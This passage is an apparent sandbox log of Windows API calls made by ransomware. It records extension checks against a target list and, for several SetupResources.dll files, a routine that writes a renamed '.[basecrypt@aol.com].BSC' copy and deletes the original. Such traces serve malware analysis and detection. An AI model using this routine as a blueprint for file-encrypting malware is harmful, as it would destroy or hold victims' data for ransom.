lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0101.500] lstrlenW (lpString=".bz2") returned 4 [0101.500] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0101.500] lstrlenW (lpString=".7z") returned 3 [0101.500] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0101.501] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0101.501] lstrlenW (lpString=".dbf") returned 4 [0101.501] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0101.501] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0101.501] lstrlenW (lpString=".1cd") returned 4 [0101.501] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0101.501] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0101.501] lstrlenW (lpString=".jpg") returned 4 [0101.501] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0101.501] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0101.501] lstrlenW (lpString="SetupResources.dll") returned 18 [0101.501] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0101.531] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=17240) returned 1 [0101.531] CloseHandle (hObject=0x2e0) returned 1 [0101.531] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80 [0101.531] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0101.531] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0101.531] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.531] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.531] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0101.531] GetLastError () returned 0x0 [0101.531] ReadFile (in: hFile=0x2e0, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x4358, lpOverlapped=0x0) returned 1 [0101.893] WriteFile (in: hFile=0x2ec, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0x4360, lpOverlapped=0x0) returned 1 [0101.894] ReadFile (in: hFile=0x2e0, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.894] WriteFile (in: hFile=0x2ec, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0xf8, lpOverlapped=0x0) returned 1 [0101.895] SetEndOfFile (hFile=0x2ec) returned 1 [0101.895] CloseHandle (hObject=0x2ec) returned 1 [0101.896] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.896] SetEndOfFile (hFile=0x2e0) returned 1 [0101.897] CloseHandle (hObject=0x2e0) returned 1 [0101.897] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0101.898] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1 [0101.898] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0101.898] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0101.898] lstrlenW (lpString=".doc") returned 4 [0101.899] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0101.899] lstrlenW (lpString=".docx") returned 5 [0101.899] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0101.899] lstrlenW (lpString=".pdf") returned 4 [0101.899] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0101.899] lstrlenW (lpString=".xls") returned 4 [0101.899] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0101.899] lstrlenW (lpString=".xlsx") returned 5 [0101.899] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0101.899] lstrlenW (lpString=".ppt") returned 4 [0101.899] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0101.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0101.899] lstrlenW (lpString=".zip") returned 4 [0101.899] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0101.899] lstrlenW (lpString=".rar") returned 4 [0101.899] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0101.899] lstrlenW (lpString=".bz2") returned 4 [0101.899] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0101.899] lstrlenW (lpString=".7z") returned 3 [0101.899] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0101.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0101.899] lstrlenW (lpString=".dbf") returned 4 [0101.899] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0101.899] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0101.900] lstrlenW (lpString=".1cd") returned 4 [0101.900] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0101.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0101.900] lstrlenW (lpString=".jpg") returned 4 [0101.900] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0101.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0101.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0101.900] lstrlenW (lpString=".doc") returned 4 [0101.900] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0101.900] lstrlenW (lpString=".docx") returned 5 [0101.900] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0101.900] lstrlenW (lpString=".pdf") returned 4 [0101.900] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0101.900] lstrlenW (lpString=".xls") returned 4 [0101.900] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0101.900] lstrlenW (lpString=".xlsx") returned 5 [0101.900] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0101.900] lstrlenW (lpString=".ppt") returned 4 [0101.900] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0101.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0101.900] lstrlenW (lpString=".zip") returned 4 [0101.900] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0101.900] lstrlenW (lpString=".rar") returned 4 [0101.900] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0101.901] lstrlenW (lpString=".bz2") returned 4 [0101.901] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0101.901] lstrlenW (lpString=".7z") returned 3 [0101.901] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0101.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0101.901] lstrlenW (lpString=".dbf") returned 4 [0101.901] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0101.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0101.901] lstrlenW (lpString=".1cd") returned 4 [0101.901] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0101.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0101.901] lstrlenW (lpString=".jpg") returned 4 [0101.901] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0101.901] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0101.901] lstrlenW (lpString="SetupResources.dll") returned 18 [0101.901] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0101.902] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=19288) returned 1 [0101.902] CloseHandle (hObject=0x2e0) returned 1 [0101.902] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80 [0101.902] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0101.902] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0101.902] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.902] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.902] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0101.904] GetLastError () returned 0x0 [0101.905] ReadFile (in: hFile=0x2e0, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x4b58, lpOverlapped=0x0) returned 1 [0102.197] WriteFile (in: hFile=0x2ec, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0102.198] ReadFile (in: hFile=0x2e0, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.198] WriteFile (in: hFile=0x2ec, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0xf8, lpOverlapped=0x0) returned 1 [0102.198] SetEndOfFile (hFile=0x2ec) returned 1 [0102.198] CloseHandle (hObject=0x2ec) returned 1 [0102.201] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.201] SetEndOfFile (hFile=0x2e0) returned 1 [0102.203] CloseHandle (hObject=0x2e0) returned 1 [0102.203] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.203] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1 [0102.203] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0102.203] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0102.204] lstrlenW (lpString=".doc") returned 4 [0102.204] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.204] lstrlenW (lpString=".docx") returned 5 [0102.204] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.204] lstrlenW (lpString=".pdf") returned 4 [0102.204] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.204] lstrlenW (lpString=".xls") returned 4 [0102.204] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.204] lstrlenW (lpString=".xlsx") returned 5 [0102.204] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.204] lstrlenW (lpString=".ppt") returned 4 [0102.204] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.204] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0102.204] lstrlenW (lpString=".zip") returned 4 [0102.204] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.204] lstrlenW (lpString=".rar") returned 4 [0102.204] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.204] lstrlenW (lpString=".bz2") returned 4 [0102.204] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.204] lstrlenW (lpString=".7z") returned 3 [0102.204] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.204] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0102.204] lstrlenW (lpString=".dbf") returned 4 [0102.204] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.204] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0102.204] lstrlenW (lpString=".1cd") returned 4 [0102.204] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.204] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0102.205] lstrlenW (lpString=".jpg") returned 4 [0102.205] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.205] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0102.205] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0102.205] lstrlenW (lpString=".doc") returned 4 [0102.205] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.205] lstrlenW (lpString=".docx") returned 5 [0102.205] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.205] lstrlenW (lpString=".pdf") returned 4 [0102.205] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.205] lstrlenW (lpString=".xls") returned 4 [0102.205] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.205] lstrlenW (lpString=".xlsx") returned 5 [0102.205] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.205] lstrlenW (lpString=".ppt") returned 4 [0102.205] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.205] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0102.205] lstrlenW (lpString=".zip") returned 4 [0102.205] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.205] lstrlenW (lpString=".rar") returned 4 [0102.205] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.205] lstrlenW (lpString=".bz2") returned 4 [0102.205] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.205] lstrlenW (lpString=".7z") returned 3 [0102.205] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.205] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0102.205] lstrlenW (lpString=".dbf") returned 4 [0102.206] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.206] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0102.206] lstrlenW (lpString=".1cd") returned 4 [0102.206] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.206] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0102.206] lstrlenW (lpString=".jpg") returned 4 [0102.206] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.206] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0102.206] lstrlenW (lpString="SetupResources.dll") returned 18 [0102.206] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0102.206] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=18264) returned 1 [0102.206] CloseHandle (hObject=0x2e0) returned 1 [0102.206] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80 [0102.207] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.207] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0102.207] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.207] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.207] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0102.429] GetLastError () returned 0x0 [0102.429] ReadFile (in: hFile=0x2e0, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x4758, lpOverlapped=0x0) returned 1 [0102.464] WriteFile (in: hFile=0x32c, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0x4760, lpOverlapped=0x0) returned 1 [0102.465] ReadFile (in: hFile=0x2e0, lpBuffer=0x3904020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.465] WriteFile (in: hFile=0x32c, lpBuffer=0x3904020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3904020*, lpNumberOfBytesWritten=0x2e3fc94*=0xf8, lpOverlapped=0x0) returned 1 [0102.465] SetEndOfFile (hFile=0x32c) returned 1 [0102.465] CloseHandle (hObject=0x32c) returned 1 [0102.468] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.468] SetEndOfFile (hFile=0x2e0) returned 1 [0102.469] CloseHandle (hObject=0x2e0) returned 1 [0102.470] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.470] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1 [0102.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0102.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0102.470] lstrlenW (lpString=".doc") returned 4 [0102.470] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.470] lstrlenW (lpString=".docx") returned 5 [0102.470] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.470] lstrlenW (lpString=".pdf") returned 4 [0102.470] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.470] lstrlenW (lpString=".xls") returned 4 [0102.471] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.471] lstrlenW (lpString=".xlsx") returned 5 [0102.471] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.471] lstrlenW (lpString=".ppt") returned 4 [0102.471] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0102.471] lstrlenW (lpString=".zip") returned 4 [0102.471] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.471] lstrlenW (lpString=".rar") returned 4 [0102.471] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.471] lstrlenW (lpString=".bz2") returned 4 [0102.471] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.471] lstrlenW (lpString=".7z") returned 3 [0102.471] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0102.471] lstrlenW (lpString=".dbf") returned 4 [0102.471] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0102.471] lstrlenW (lpString=".1cd") returned 4 [0102.471] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0102.471] lstrlenW (lpString=".jpg") returned 4 [0102.471] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0102.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0102.472] lstrlenW (lpString=".doc") returned 4 [0102.472] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.472] lstrlenW (lpString=".docx") returned 5 [0102.472] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.472] lstrlenW (lpString=".pdf") returned 4 [0102.472] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.472] lstrlenW (lpString=".xls") returned 4 [0102.472] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.472] lstrlenW (lpString=".xlsx") returned 5 [0102.472] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.472] lstrlenW (lpString=".ppt") returned 4 [0102.472] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0102.472] lstrlenW (lpString=".zip") returned 4 [0102.472] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.472] lstrlenW (lpString=".rar") returned 4 [0102.472] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.472] lstrlenW (lpString=".bz2") returned 4 [0102.472] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.472] lstrlenW (lpString=".7z") returned 3 [0102.472] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0102.472] lstrlenW (lpString=".dbf") returned 4 [0102.472] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0102.473] lstrlenW (lpString=".1cd") returned 4 [0102.473] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0102.473] lstrlenW (lpString=".jpg") returned 4 [0102.473] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.473] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0102.473] lstrlenW (lpString="SetupResources.dll") returned 18 [0102.473] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0102.478] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=18264) returned 1 [0102.478] CloseHandle (hObject=0x32c) returned 1 [0102.478] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80 [0102.478] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.478] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0102.479] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.479] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.479] CreateFileW 